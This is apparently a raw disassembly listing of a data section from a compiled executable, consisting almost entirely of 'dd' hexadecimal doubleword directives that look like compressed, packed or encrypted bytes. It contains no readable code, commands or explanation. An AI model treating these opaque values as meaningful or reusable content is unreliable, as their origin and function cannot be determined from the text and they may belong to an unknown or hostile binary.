		dd 41F70912h, 61EE0512h, 0D8165538h, 0BA554002h, 95562F97h
		dd 0D024A05Bh, 92D0DF2Ah, 77CE69FEh, 2BCACC5Ah,	0E1AA2B0Bh
		dd 1555BAC4h, 0C415B225h, 0A0D090B8h, 0D8B5640h, 2D426A1Eh
		dd 685A430h, 7022E6EBh
		dd 5E07F1BDh, 0D026BC21h, 1E62CAF5h, 20796208h,	0D80A3AE1h
		dd 0B765587h, 51C317AFh, 218631E1h, 288103C8h, 11201300h
		dd 4AAB2242h, 226F2C1Dh, 60B41F00h, 0F95BD888h,	0D989E3E2h
		dd 3BE7E628h, 72D2123Fh, 604CB133h, 48103A89h, 0A207A026h
		dd 0F45B5F32h, 98AB5F91h, 0B402A518h, 8538D5B0h, 0F86AB188h
		dd 0C3632490h, 15368AFDh, 0DD08D0A0h, 0C4A9500Ah, 0BE9162AAh
		dd 5C1A9BECh, 1AD5895Ch, 3271E648h, 432910ADh, 28809CA8h
		dd 90901865h, 59501140h, 4CB2240h, 0FDB4836h, 0A6FD14C9h
		dd 2E3EBB42h, 7465565Ah, 0AB2F58Ah, 34C21F24h, 50BE491h
		dd 0E145AFC5h, 438AEAFAh, 3CD67AC5h, 31A80217h,	1E04F86h
		dd 2D99708Dh, 20C22D87h, 0CC69943Ah, 3024D8D0h,	9D097D6Eh
		dd 8FF2B876h, 9D971F09h, 16B517C1h, 0CAB85DD3h,	0EC424D92h
		dd 0C0A1749Eh, 0DB00A879h, 942C10ECh, 0F718418Ch, 418B9154h
		dd 0A391C407h, 0A845AC8Bh, 662F2498h, 33F9FEF2h, 185F9688h
		dd 0C73C024Bh, 0E10E9C25h, 98608E3Ah, 37C8CC5Bh, 9E2FE954h
		dd 0D6A01C20h, 0C566FCFFh, 2702B8F0h, 655E7F6Ch, 48B5F2C5h
		dd 0A100B36Ah, 442C4D73h, 48124B04h, 480B91E4h,	0A9815104h
		dd 0FD8BAE6Fh, 5A0234D5h, 0E952E46Fh, 0CC74622h, 80935204h
		dd 36EB0086h, 573E2B27h, 42C1609h, 944D4A1Ch, 49235CE1h
		dd 0F44BDB3Fh, 5FBF67ECh, 0FB836396h, 31602FEh,	0C534CC77h
		dd 0EDA4B3C0h, 0D8CE2002h, 791B382Eh, 2FBFB17Dh, 5A162A61h
		dd 88348BFh, 89F26D67h,	3074AF16h, 0CBBDCD2Eh, 9DDF5AA0h
		dd 0C6622C02h, 2ACBB6B2h, 66564A12h, 0F6C2C8C6h, 7C6697C7h
		dd 0D228F1D9h, 65FC33F8h, 22C26914h, 83517D6Fh,	18CDF199h
		dd 0D184F958h, 44632449h, 0CC437996h, 1D663520h, 0CDB78DB4h
		dd 7CA43032h, 0C65147B8h, 2051E329h, 99FB84Dh, 0C3EEC2BDh
		dd 988B45A3h, 92087597h, 0FA446C52h, 4B71EEDCh,	0FAA61FF1h
		dd 4E8F542Bh, 5852FD69h, 538901C7h, 0B8410152h,	110F9813h
		dd 9EC60032h, 0AC1C351h, 711A698h, 0BC5FF29Fh, 0E6027424h
		dd 291BD129h, 55713A7Eh, 6A7385F4h, 0EF3B6E3Eh,	0F61D5724h
		dd 0F4BE137Dh, 2F17FBABh, 28CB17EDh, 95DFC024h,	0B28D4D2Eh
		dd 0C6CF81BFh, 0BFF091D7h, 100D23D3h, 93F6AED4h, 7B170517h
		dd 0ABA6B061h, 8BA46591h, 7245B133h, 0BB746958h, 98624B07h
		dd 13A035E5h, 0CE0F10BAh, 0E98D8608h, 5734E557h, 0B0DA8E44h
		dd 582C83B2h, 86598EE2h, 1585295h, 21302FFDh, 0D86488A0h
		dd 0F1483E58h, 46D6FD9Bh, 8313CA9Eh, 91208D8Ah,	0BEFD81Ch
		dd 93BCFC39h, 6178624Ah, 58D90FE5h, 77F1EF22h, 16C3A446h
		dd 982053F8h, 8D28BBD8h, 7A918C51h, 4BF298DAh, 3403DDCFh
		dd 0C3C8A2Fh, 0EC4A1165h, 0A7507FEAh, 91F90FF9h, 0DEB9FC3Fh
		dd 0E9D1A2BEh, 86243313h, 2B3F1D48h, 25987059h,	42F946FCh
		dd 45B0FC0Ah, 0A7D2E5BCh, 0EF242CA7h, 0F2E934BCh, 4A96E594h
		dd 0E5D6D57Dh, 86C288h,	80A618Bh, 73242346h, 0C63649BEh
		dd 0B9CDA32Ah, 6A3617Dh, 5D4A27EFh, 0BCB61E37h,	112E4B30h
		dd 38736250h, 357D9D07h, 1B78D10Ah, 8455EE29h, 55CC5E4Bh
		dd 54E601B1h, 97EC02ABh, 517967D7h, 0AA35E58h, 0D7417D7Fh
		dd 7748B74Fh, 69C5E5Bh,	0CA5B3A34h, 0C007268Bh,	0A325D5B4h
		dd 0A32A75E2h, 0F1DDAD47h, 3E506793h, 10B28E49h, 0C0EF964h
		dd 8904E98Dh, 24950BD5h, 2F0CECCFh, 0C2DE8555h,	0C3B3BA74h
		dd 0C5C54087h, 0FD0AC026h, 0E29ADF50h, 15F9DB1Dh, 9DEF62F1h
		dd 0F3C8E227h, 44D34C7Ah, 298191F6h, 9D33170Ch,	7740F8ACh
		dd 0A863BA78h, 0D72C8B18h, 6060A447h, 7690607Ah, 0DF7EEC26h
		dd 5D772C04h, 0AC0102Dh, 174A1D95h, 0D2CB049Eh,	2C0F6F63h
		dd 0B428793Eh, 56B13083h, 1B71618Ah, 50947CACh,	1639808Ch
		dd 0F622E168h, 0E22A81B6h, 49C49308h, 0A6FC7911h, 10988114h
		dd 0C92015D3h, 0EA23EF2h, 45324E1Fh, 0E77D79A8h, 5D331204h
		dd 0C247AA71h, 973B386h, 99049BC6h, 0FE27288Ah,	0FA48E028h
		dd 3B186E0Bh, 0DF32CE3Fh, 0C9EC59D5h, 14586460h, 292154F0h
		dd 177E35F2h, 0D746191h, 11D21CC6h, 1E9DE7Fh, 0E4B808Ah
		dd 0B3E3D996h, 0F61DBC9Dh, 70AF5A08h, 0FEF48053h, 5B92D975h
		dd 72E0FBDDh, 46A40C69h, 11CAE9C8h, 0E10DA271h,	0F731B5A3h
		dd 7D53114Dh, 40BB8122h, 5D0FE3C1h, 4601790Eh, 20D0AA1h
		dd 268CC1Fh, 2289A3E8h,	0C02E54D8h, 42A87711h, 652DA45h
		dd 805D1C25h, 72AEEA23h, 11C0B860h, 39B2276h, 0BD082EDEh
		dd 277AED1h, 8631C491h,	3410D631h, 5AB630ACh, 5164AE91h
		dd 4D412E63h, 8BE72D89h, 0B5EF1AB3h, 37785D7Dh,	0F0E2F9D6h
		dd 86BA1702h, 9312567h,	9099A373h, 4E22A453h, 1C38C445h
		dd 0F1043C75h, 341598C4h, 4C6EADB1h, 0A5A6F1B2h, 0FBB4099h
		dd 224422C0h, 0AE11h, 0D0000000h
		db 1, 0
		dd offset off_41E000
		dw 434Ah
		dd 5000h, 0
		dd 20C6A4F4h, 42351C85h, 0C8D5BBEh, 21D0928h, 1845EC40h
		dd 211FD081h, 85A21685h, 72C869Bh, 1E8703B8h, 2152D92h
		dd 1BDB2020h, 65FA6021h, 32F121BFh, 0F382076Eh,	18876B5Ch
		dd 8507A080h, 35DAE40h,	41C4E380h, 86963E85h, 3FAA1016h
		dd 2D4219EFh, 106A65h, 0C84DE2C0h, 21580818h, 394031A7h
		dd 0A171A421h, 1DE0384h, 822085B6h, 0BE865314h,	61308AAh
		dd 19A91213h, 89300862h, 30885366h, 28603248h, 49CA8387h
		dd 0F850621Bh, 8429D704h, 25930081h, 0B0A063AEh, 854E2885h
		dd 17528592h, 64041D88h, 0F0084D76h, 0C8676868h, 492EC0A1h
		dd 59D1A189h, 0F181014Ah, 52113EDAh, 160E3808h,	47BC885Bh
		dd 0B2881422h, 0A17ED38h, 8470921h, 15DAA156h, 0CE028757h
		dd 4A87FA98h, 856B7606h, 13CF1A10h, 9A5A1DEEh, 82583423h
		dd 0B9F0208Bh, 4690F851h, 0C042C33Fh, 429F0143h, 73B342E1h
		dd 0C94265BAh, 7086FA8h, 42F1370h, 309CDF90h, 0A075D0F9h
		dd 0F2C04347h, 0DF4317EFh, 49BC2E6Fh, 0C80835B7h, 0B031161Eh
		dd 48E0DC85h, 87E3B242h, 31D8010Ch, 8F150DDBh, 625C2F28h
		dd 87874C8h, 575488ACh,	0D96020B5h, 0F590FCB5h,	5C08B21h
		dd 0D2C528C9h, 92101B00h, 480808C0h, 9281A504h,	4A0AC314h
		dd 89291A52h, 44A4A949h, 9293A528h, 4A524580h, 5CEE6314h
		dd 8A21E0h, 0FC8D86C3h,	84867F08h, 418AA8Ah, 102F8A1Dh
		dd 1F1CF5Dh, 59D08F25h,	1F4A40C7h, 14180460h, 0E9421284h
		dd 0A50A4A16h, 9431286Ah, 50E4A1E9h, 441288A5h,	124A2694h
		dd 5128AA51h, 64A2E946h, 128CA51Ah, 4A369471h, 28EB503Dh
		dd 48EBD048h, 0D9404704h, 96792D62h, 5C84BC89h,	300A6179h
		dd 3405000Fh, 70085562h, 80A10F8Eh, 8087D6EAh, 87B29CC4h
		dd 195AD781h, 87023AC2h, 190DA79Dh, 501368C4h, 5A84470Dh
		dd 1D100D7Fh, 20043300h, 63088F21h, 0FA041F20h,	18CBD3A6h
		dd 9174325Ah, 0A4CB9DD2h, 0E569B759h, 0E405EDE4h, 8ADB0A01h
		dd 211034BBh, 584D16B2h, 1E618AE1h, 6F3460D9h, 30642384h
		dd 0D1DE721h, 960AADBAh, 0D64EDF77h, 2920B2DEh,	2C652E00h
		dd 0F6009980h, 81E572E8h, 0D0DDF09h, 0FB0424CEh, 8C14304h
		dd 2300E9FFh, 8391474Ch, 58EE76Dh, 0F0405847h, 96184904h
		dd 17271922h, 9C76B638h, 17801180h, 0C0A07048h,	2C1A0F08h
		dd 84C2A170h, 0C86C3A1Fh, 10200048h, 0C949CA4Ah, 0CB4BCC4Ch
		dd 0CD4DCE4Eh, 0CF4FD050h, 0D151D252h, 0D353D454h, 0D555D656h
		dd 0D757D858h, 0D959DA5Ah, 0DB5BDC5Ch, 0DD5DDE5Eh, 0DF5FE060h
		dd 0E161E262h, 0E363E464h, 0E565E666h, 0E767E868h, 0E969EA6Ah
		dd 0EB6BEC6Ch, 0ED6DEE6Eh, 0EF6FF070h, 0F171F272h, 0F373F474h
		dd 0F575F676h, 0B7B1E1E3h, 0E4A0D1EBh, 0EDEFF1F3h, 0F5F7F9FBh
		dd 0FDFE46F5h, 0A32C5EEEh, 3EF094D0h, 2AA189E8h, 5FC81072h
		dd 0F174B38Ah, 6659D957h, 62162445h, 231CAC40h,	0E6376799h
		dd 4326C901h, 16997F4Dh, 651C0F50h, 33C747B0h, 4A291C71h
		dd 87954115h, 178F5227h, 80256EE6h, 0A8EE3E0Dh,	8716B442h
		dd 8E1AD20Ah, 0D00404Eh, 8C42628h, 242A25Ah, 0D811D00Ah
		dd 7A0B833Bh, 0A0C046Dh, 0EC096B9Ah, 5196A024h,	7510B707h
		dd 41300502h, 4F8F0260h, 0B10112Bh, 7E058924h, 500240F8h
		dd 8E1F7F96h, 2FC29EE6h, 81768339h, 7CC90207h, 69532090h
		dd 0D6057720h, 0F41136A4h, 0C97A245Ah, 0BA98D5B7h, 0C1158DBh
		dd 6662829Eh, 764E1E7Eh, 2016797Ah, 0B749D3DBh,	0CAB10068h
		dd 4209B8CAh, 6A6667E9h, 9260E235h, 0C5C8EE4Eh,	763B07F2h
		dd 84067E6Eh, 8263092h,	8009A56Dh, 60A54806h, 982B331Ch
		dd 3E04BB3Ah, 78CBAD0Dh, 1DE831E6h, 57B4AF20h, 0B615061Fh
		dd 451383BEh, 556BB16h,	0BA014008h, 3A01730Ch, 9B3E2066h
		dd 711CE127h, 0F264C293h, 90B02902h, 7A761DAEh,	8AD02C68h
		dd 4101C012h, 240C962h,	8196CBDDh, 4E2E04FDh, 40F02F01h
		dd 0A4283B4Bh, 7335EC5Dh, 0BE611102h, 0D361275Ch, 0D41A1242h
		dd 0B68305A1h, 0DCF5171Ch, 0D6DD3306h, 15A8EE66h, 0CE3B4637h
		dd 0A4560740h, 190E7134h, 86B93D5h, 0C5542825h,	0BEDCAC4Ch
		dd 2038C03h, 8E47D0BFh,	0C56A0610h, 2872349Ah, 7287493Eh
		dd 2F5E7041h, 29F3DE1Dh, 8D59A571h, 0EC91CC0Ah,	0D6A00A81h
		dd 2A75F2h, 8BCB67A7h, 906A2C40h, 2477F30h, 0BC0AA121h
		dd 0B650AA69h, 44AD41A9h, 8E950005h, 0A0A8AF3h,	863CAA5Ah
		dd 7C50A432h, 254D519Ch, 2D2AE1A7h, 3ECF506Ch, 6FD80341h
		dd 0DF104A33h, 787A5BF3h, 1BE12C91h, 3BBBC673h,	94051A7Ch
		dd 0E850D8F0h, 513838A1h, 7B2D6A0Eh, 0E2863B28h, 61A58A7Ch
		dd 0DF8B72A9h, 7B9A5A8Ah, 38601A35h, 0AC1D82A1h, 5CA083B8h
		dd 0D38A1049h, 0A2095350h, 2330E591h, 882994E1h, 11BECB0Dh
		dd 8AD96568h, 3F9A0814h, 6AEC0A2h, 9BB726F5h, 0DED2514Bh
		dd 8F98E30Ah, 26B28AE5h, 918E1FA6h, 0A8970BABh,	7F576B49h
		dd 6BA19088h, 5285C532h, 9029C28Ah, 68CC0ED5h, 0F0AC34E5h
		dd 0B12F50A6h, 1D6DD1Bh, 8D1981A6h, 3396F8F0h, 9DC0C1D5h
		dd 3B18A020h, 0D90A0E81h, 0D62CE9C2h, 608E04A5h, 8C4D2C8Ah
		dd 0D3393CFh, 494DD3Eh,	0B6ACEF0Eh, 0C5A2E415h,	8756064Bh
		dd 5B1868A0h, 0C6E31AC4h, 0DAE02617h, 0A514F3C7h, 3D7E08CBh
		dd 8DD56000h, 6996E6AAh, 4E72E364h, 0C098B348h,	716BC167h
		dd 594F045Bh, 0BE074277h, 351052EEh, 55CF35DCh,	6C4894E5h
		dd 3581114Bh, 682B2DA0h, 41740B90h, 0B29C26B1h,	92967BA8h
		dd 535CD961h, 0A6489667h, 0B14BA2E3h, 9B00C1A0h, 0EF7B5E5Ah
		dd 0E980129Ah, 0D640C229h, 5C598162h, 0AC6DB79Ah, 872B24A0h
		dd 42D4C7BBh, 5828A141h, 732E0042h, 33CB805Eh, 59C152DAh
		dd 0E6C010B7h, 55CB269Fh, 0E0B19D4h, 5527D242h,	17150627h
		dd 275205C7h, 0FD3E17F6h, 8BFE99Eh, 610A40Bh, 950A801Ah
		dd 0E254287h, 8004254Ch, 0B0C272BEh, 549B8808h,	0FC6C142Dh
		dd 14352C6Dh, 67E7F8E1h, 47EDDA58h, 0B045815h, 2382C454h
		dd 952E6449h, 0DA408147h, 22C9660Dh, 6500E24Bh,	84128525h
		dd 0A4D82158h, 42580156h, 65A63306h, 0A0F27F61h, 0F609210h
		dd 60050ECBh, 38090518h, 60915118h, 0BB919254h,	682D742Fh
		dd 4C13C742h, 417AE2B1h, 2CCF2F5Ah, 3CC02AAAh, 920602DAh
		dd 508B1D45h, 7A90BD04h, 3016A611h, 17A209B6h, 51E80A2h
		dd 0FD1047B0h, 48F40917h, 0E8827481h, 6025776Bh, 427AA405h
		dd 80B0922Fh, 0CB016C7Dh, 80B2048Bh, 0F2C04E30h, 17E8E017h
		dd 0F0054512h, 60E50AA3h, 0D0160175h, 98C34813h, 13BC200h
		dd 0C25A1255h, 19D30181h, 0C160F098h, 5C361F11h, 89C562F1h
		dd 98DC763Fh, 2191C964h, 0F2995CB6h, 5F3199CDh,	66F399DCh
		dd 0F67F41A1h, 0D168F49Ah, 5D369F51h, 0A9D56AF5h, 9ADD76BFh
		dd 61B1D96Ch, 0F69B5DB6h, 0DF71B9DDh, 6EF79BDDh, 0F6FF81C1h
		dd 0E170F89Ch, 5E371F91h, 0C9E572F9h, 9CDE773Fh, 0A1D1E974h
		dd 0FA9D5EB7h, 5FB1D9EDh, 76FB9DDEh, 0F77FC1E1h, 0F178FC9Eh
		dd 5F379FD1h, 0ECF5EB31h, 0BEDF77BFh, 0E1F1F97Ch, 0FE9F5FB7h
		dd 0DFF1F9FDh, 7EFF9FDFh, 0F7FD54C9h, 554552A7h, 5954C95Dh
		dd 1400DDEDh, 6A3A3406h, 0EF6BA1AAh, 403BA2B8h,	93FCC40Fh
		dd 8A407AA6h, 0BE1A8BC4h, 0C8257h, 5DA48A79h, 0AF2A2720h
		dd 2D65066h, 0A45809BEh
		dd 40148818h, 57A050CBh, 0A322681Dh, 43040455h,	0CD8154D8h
		dd 15CD3423h, 9DDFECC1h, 8D9EAA1Fh, 5DA6BCh, 0D430AA60h
		dd 0FAF39359h, 0C4020CA2h, 0FD822604h, 1DDCA898h, 3E1E4BDDh
		dd 0A99BC267h, 8FA12C6Eh, 5E235EAEh, 99999467h,	0B80BC684h
		dd 60858854h, 84C84884h, 48387E44h, 484083C8h, 348240AFh
		dd 0A7A9FE42h, 0C2278C2Fh, 8057A9D0h, 99E6C29h,	6BF29A1Fh
		dd 460DB53Dh, 5828CDEFh, 0EE047D3Fh, 56088440h,	3C838830h
		dd 82882482h, 88E4AA8h,	6AA61F90h, 14BF501Ah, 66DFAAD3h
		dd 43C0DF8h, 192D866Ch,	253D05C6h, 80093B7Ch, 3B395F27h
		dd 0CFE2EA0h, 893198ABh, 0F8AB2C9h, 4E0E7D8Ah, 0E0B85F23h
		dd 0A541E1BEh, 93E4DB72h, 87CC09C7h, 830FC101h,	84F96F31h
		dd 2983E412h, 1F34EC28h, 0E317E2BCh, 121456AAh,	353E4F72h
		dd 0B22BDC0Ah, 0B47A2A8Fh, 20443528h, 0FCD1DCEAh, 29C5C1E3h
		dd 83B54290h, 99D7E503h, 0D8AF188Bh, 162BE1F2h,	0AB7EE9D2h
		dd 59A6A649h, 38189231h, 0C4FC96CCh, 54F8C598h,	0CA1ADC9Fh
		dd 23E1DAD2h, 72A9579Ch, 85D8999Fh, 88664818h, 91156A25h
		dd 9879B80Eh, 74186937h, 518B39AEh, 7D941054h, 69479B83h
		dd 0C50E1599h, 41794F91h, 0FBC47EE8h, 84B56044h, 0DBDD0B05h
		dd 240F355Bh, 88648188h, 3461EEE0h, 58DC6F51h, 56F74F33h
		dd 1CE082C8h, 4C1C277Bh, 8CFB8132h, 9B9DEDCCh, 0AB742343h
		dd 0ECC92CC4h, 8E020E96h, 0A12C91F2h, 0C5C8010Fh, 5E41E809h
		dd 470A41ACh, 2632A41Bh, 283CACDh, 20F28E0Bh, 8A6C3E31h
		dd 46287EECh, 0A466CB20h, 6B2B9FF9h, 64337350h,	8DC51D43h
		dd 0AB442E29h, 0E0ECA602h, 0A8A5C2A9h, 7350CE26h, 71473C55h
		dd 0A3E649C5h, 0A632CB66h, 0B0AECC72h, 856F8D00h, 0F3202F35h
		dd 0EE30B2D6h, 759B598h, 8072D347h, 2B7018AEh, 8E7016FBh
		dd 3322411Ah, 48E09929h, 0B5C0A566h, 60C6AF2Fh,	0D445F004h
		dd 64C94F09h, 0A4F890h,	84940C6h, 5E0232D4h, 0A5694A92h
		dd 0BE12424Ch, 490301A4h, 237E4A5h, 12942580h, 4219A020h
		dd 433C48Ah, 0BBCF992Fh, 4A5B3E95h, 3BD0892Bh, 3201201h
		dd 53A06B2Ah, 730105Dh,	16451318h, 8A4B5452h, 110128D1h
		dd 0C4525B3h, 145B2102h, 4ABE4974h, 952D969Bh, 381E5900h
		dd 0C6E4E3B4h, 790062B8h, 144DA68h, 42BE570h, 0DDE8166Ah
		dd 3D8100C1h, 0A0182FCBh, 7306202Ch, 591891AEh,	6817997h
		dd 5EF303Fh, 856B68h, 0E4A014A2h, 9FBA0918h, 6008914Bh
		dd 0E9FA43D1h, 0DC230D97h, 10F4004h, 79096F12h,	0D825A181h
		dd 5088FE3Eh, 0A041DC01h, 1E425A84h, 0B1891907h, 1D0008DCh
		dd 3C886700h, 87300232h, 48205865h, 872002h, 38C4B009h
		dd 5F12BC25h, 744AE095h, 0B12B4256h, 44AC0957h,	12AC2554h
		dd 4AA09531h, 2A425444h, 0A8094F12h, 9C25344Ah,	6094B129h
		dd 425244A4h, 947128Ch,	25144A20h, 94312842h, 5044BF1Fh
		dd 943D8979h, 12EC25C0h, 4B689681h, 2C025604h, 0A8094812h
		dd 229773F0h, 87012CE2h, 57C4AA89h, 4E129425h, 244A3894h
		dd 312F4780h, 8C3AAFF7h, 20EA008h, 0F112D425h, 884AC094h
		dd 0E128825Eh, 4FB21C84h, 0B4896012h, 0AA25284Ah, 1855454Ch
		dd 83600961h, 89E05743h, 72210302h, 2782291h, 48292772h
		dd 0E8C28023h, 0EDE24C09h, 602A04F1h, 0EE43128h, 93CE0D55h
		dd 0C2420EEEh, 5EC68962h, 1EF7A500h, 0C84C3646h, 0C2D00100h
		dd 9082507h, 0BC5C095Dh, 0C031DCB8h, 0D1DE411Dh, 0CB4CABBAh
		dd 8661ABBDh, 4DC45972h, 0D0061AAAh, 0C005C972h, 15A92BB6h
		dd 0D2D41634h, 298B2AC7h, 2C6EA7F5h, 50B7DC2Eh,	0A4C14D84h
		dd 64708D3h, 452553D0h,	0A11CBC06h, 4556A745h, 0A93BDB5Dh
		dd 3CC98207h, 6F24C085h, 7D7E0B06h, 0F2CCEF70h,	0A1D5D224h
		dd 0B12D015Eh, 6DC02331h, 4A6046CDh, 725D25A0h,	432BA76h
		dd 8B4E25A2h, 0F37036B7h, 4563B0D8h, 9D1D6B65h,	9188260Fh
		dd 896B8DCh, 0AE8BB027h, 4C9201DBh, 424BB1A4h, 46BA7B8h
		dd 6556C679h, 7A605E9Fh, 17A985EAh, 0D17AD05Eh,	0BB17B0A7h
		dd 44447417h, 1D078742h, 50062F2Eh, 8660065Bh, 1D104744h
		dd 81D13C74h, 561D1760h, 52F2B98h, 125D9933h, 817E80D4h
		dd 141B4C07h, 0FC951CCDh, 26E6A29Fh, 286A0903h,	0A2C45810h
		dd 0E09AF7h, 23E9D1Ch, 1AD43A79h, 0C2755AA4h, 908CC647h
		dd 51354126h, 44086925h, 0E8C45328h, 88D53063h,	5DA12296h
		dd 0C7B965DAh, 15A9EEA4h, 49545E9Ah, 4030B5A8h,	7A288C5Bh
		dd 145E8EB9h, 9680E6CFh, 0D0C0046Ah, 8BA550F1h,	2B65A023h
		dd 2E012153h, 0B7584BA8h, 141F5091h, 9892054Ah,	35A4DBB3h
		dd 24C20D4Eh, 52520815h, 64B237Ah, 7187D98h, 41987E22h
		dd 0D018C418h, 0C208C409h, 52039654h, 960B1D41h, 0F2F2B1C6h
		dd 32381A80h, 214E5F99h, 0A2DE282h, 164D2A34h, 0C1696C1Eh
		dd 51905174h, 772C00ECh, 592C0953h, 2EDE0953h, 0BC8C6088h
		dd 105097Eh, 0E02960B0h, 0B9649D1h, 992DCC18h, 69F46AA5h
		dd 5E8352A2h, 0D717EE95h, 0DACFD87h, 0CD0D475h,	928E355h
		dd 941E0EA8h, 675717ECh, 208B183Bh, 0D4F77930h,	634D5080h
		dd 0DA831Ah, 3B9A6058h,	0EE255E63h, 65B24F53h, 17342401h
		dd 93D0371Fh, 802EB2Fh,	1627D881h, 0D62980Eh, 5709834Ah
		dd 7A84694h, 150A0710h,	35B8E38Ah, 2DA11073h, 26B52261h
		dd 0DD6E64F7h, 0D8722C0h, 0E76B9493h, 446660C4h, 73A8F57Ah
		dd 0B9C22D15h, 69F082A7h, 177FC748h, 73761717h,	4BCD4BE5h
		dd 54DD5801h, 74555810h, 0CED4A0CCh, 0C12C5735h, 0D3293C8Ch
		dd 0D5572B5Eh, 8DABC7ACh, 9C071879h, 406D61C6h,	0B5AEB060h
		dd 0CEB1459Bh, 5D04843Bh, 6CCB0616h, 1EE3E81h, 0C850AC25h
		dd 1B1574FAh, 7A0ADE41h, 0EA26C40Ah, 1474F33h, 0A90034ACh
		dd 7E5B9D6h, 3026188h, 18958042h, 0A810DE9Dh, 0BE15A63Ah
		dd 40280738h, 0C02ABB89h, 0CCB423EEh, 0A0632D20h, 66B645ABh
		dd 92D8C5D0h, 1C15D9CFh, 36B24877h, 30962E23h, 59854122h
		dd 0F0A5692Dh, 5D03B83Ah, 808027C1h, 81C95CC0h,	68475B27h
		dd 4C8D965Dh, 991D8D02h, 2042E040h, 0FF5B172Fh,	0F628A080h
		dd 436A86Ah, 9A054B13h,	56554364h, 66C2B982h, 40272h, 0F6AC215Bh
		dd 3044A678h, 0C411A608h, 98E2B70Eh, 4B60B109h,	0A63B8145h
		dd 8705322Dh, 87711BB1h, 0F1475347h, 0D796FDECh, 0EC8D425h
		dd 0A15E1804h, 0D4590590h, 0AE7383A6h, 4AA8773Ah, 7ECEF014h
		dd 0B23A016Dh, 6E600A73h, 97E870C8h, 614092A8h,	0EED74E90h
		dd 28FA608Dh, 0E52C90C0h, 1AE2A4C1h, 88CC0B29h,	4D293675h
		dd 0B29BA81Eh, 608857C9h, 6123CF99h, 0AE5151h, 63B519D5h
		dd 0F8352681h, 34201AD4h, 74B934C4h, 0F0E79D73h, 1A6F3498h
		dd 0C66A8446h, 0C99C86BCh, 0BE1B0128h, 106D46ADh, 6C566108h
		dd 7CA5800h, 4DD03FB0h,	0C0C56110h, 505C48ACh, 58539879h
		dd 4004B370h, 94A1021Bh, 0B011AD15h, 5AF011F1h,	0F76A23D3h
		dd 0E7D5BDC7h, 43B39176h, 23176223h, 0EBE38FDBh, 8BB8836Dh
		dd 0A8D5E8B5h, 2AA56566h, 0B29F50A6h, 52E9548Ah, 3D1A8953h
		dd 0A0D6AB14h, 3AB50A9Dh, 4D132ADAh, 9A984EF8h,	4750304h
		dd 51A60529h, 3369A5D5h, 85060B60h, 31AE8E01h, 2B31E903h
		dd 6428DA53h, 9A059ECDh, 63257897h, 594A39D0h, 968BA12Bh
		dd 84EA5E4Ah
		dd 0DB61B95Dh, 8ADBEF4Ah, 0A97C5DCAh, 16B200E2h, 8804B955h
		dd 2F497856h, 5E0F0321h, 362D83C6h, 0E7709930h,	68C71B8Ch
		dd 4EC00F98h, 97E2A859h, 1A24DEE3h, 0CFFDF036h,	0BA5ED94Fh
		dd 4CE6AD97h, 0C77C6224h, 0EB3A4C14h, 0FF25D5AFh, 4735798Dh
		dd 541FB101h, 0ADE0E25Bh, 0EC2CC649h, 0C3BEC32Ah, 0B74AE9BBh
		dd 97FB63DEh, 0C069E0DDh, 0CCD9DF89h, 4E092B49h, 5F261A8Fh
		dd 0BEF7F1B3h, 0A6E1FCCDh, 0C32496Fh, 967A6E98h, 4BFE8E95h
		dd 0DCD4EC2Bh, 9DAC47E6h, 0ED52A8CFh, 0B316DE34h, 0C751C893h
		dd 0C0F61C7Bh, 0FD677FF3h, 85F80FD1h, 0F23A7EADh, 46C7CA83h
		dd 59E524A2h, 985856DEh, 4F3890C6h, 0E5DFCB6Ch,	0B29B1386h
		dd 9BA9D52Eh, 70AB2EECh, 0A5AAED2Eh, 0E4F0B038h, 5965CB25h
		dd 0A1F459A9h, 778C246Bh, 5170C598h, 0E168EA36h, 0CE3C67D1h
		dd 69269ECh, 0F99EB616h, 6B0EFA5Ch, 3416A884h, 5B83A48Ch
		dd 0C22D9378h, 0F532EF48h, 93ED779Bh, 9A6CE19h,	1C9CD2B5h
		dd 5D8A753Fh, 959CADFCh, 0EDF2EB47h, 0BB058FBAh, 18B1E96Fh
		dd 11427C8Ch, 242205C7h, 0C67EBFFBh, 0EC87AED9h, 50D27DF4h
		dd 7F935F2Bh, 0C5C78D67h, 0F3426D58h, 5D717DDDh, 0CBE76E9Eh
		dd 4EBEB4FDh, 2DFEA50Eh, 0A8E32D10h, 5CDEAFB3h,	838FC679h
		dd 0BE0ADC8Bh, 5D28EBA8h, 48872CBEh, 0F91A8508h, 72774DF6h
		dd 28589BCEh, 0DE2702A1h, 827CE918h, 0BCDD6F85h, 569CC67Ah
		dd 105DB287h, 87A9E6Fh,	5EA1E246h, 3036DED2h, 88094281h
		dd 40F46A22h, 26F964D2h, 8AA24263h, 365E4A72h, 8989E2DAh
		dd 7FFAAA28h, 25BF137Bh, 0F928A89Bh, 1CB45A76h,	0A2C24D62h
		dd 5C792A8Bh, 8994935Ah, 79EA3027h, 4A945B3Ch, 0A32278E4h
		dd 0B4F9C28Dh, 9B5EAE3h, 316A3625h, 9739ACBBh, 0A8E09758h
		dd 14AEB2A3h, 0A5A6F256h, 0A2F6ED56h, 12E94AEAh, 7EE83BD5h
		dd 1F136B53h, 88E0D480h, 4D5F7ECDh, 0EE521122h,	132DA4B5h
		dd 48849FC8h, 7F67548Ch, 4F243BDFh, 0BE524138h,	58FD44F5h
		dd 49441D48h, 564D4984h, 0B7E0A067h, 949C4B85h,	0BA1D0A52h
		dd 813F92FEh, 95194A44h, 937249D7h, 14A84F6Ch, 0AB895A52h
		dd 0B13BFB3Ch, 0AE754B04h, 0EF58F5F8h, 0B52D1351h, 0B2BBCF14h
		dd 0B84F36BBh, 0DB4752F1h, 27735C14h, 514C04B2h, 40FE34C5h
		dd 31098406h, 0F548A16Fh, 29766532h, 0C8E5FF1h,	0D0533126h
		dd 1BEAA419h, 4D048C54h, 0BDFD6535h, 0D4C409Ch,	0EECB5592h
		dd 4194D825h, 520B8D5Dh, 4DC4DC74h, 77732538h, 1391D0E9h
		dd 1C53912Ah, 7ABA0D45h, 4E84CCFAh, 0F1DDF53Bh,	13505337h
		dd 0E153C12Ch, 75AE4F15h, 4F44E5E2h, 0A83E353Eh, 12E65EC7h
		dd 7753F134h, 7B8D9759h, 6004FE18h, 0F7D75604h,	4B04BE2Fh
		dd 4358212Eh, 5ABF8685h, 60C4F64Eh, 6C91A584h, 12511EB1h
		dd 0C8D6144Fh, 4FAFBD5Ah, 2AB0C515h, 0BCF1B64Bh, 0E24AEA7h
		dd 72F1AC40h, 99CB0C9Bh, 0D5CE9F49h, 0F9507E17h, 243C7DCh
		dd 61BA31EFh, 5F839BD6h, 0BEF6BD57h, 8376EF75h,	0FE9E6BEBh
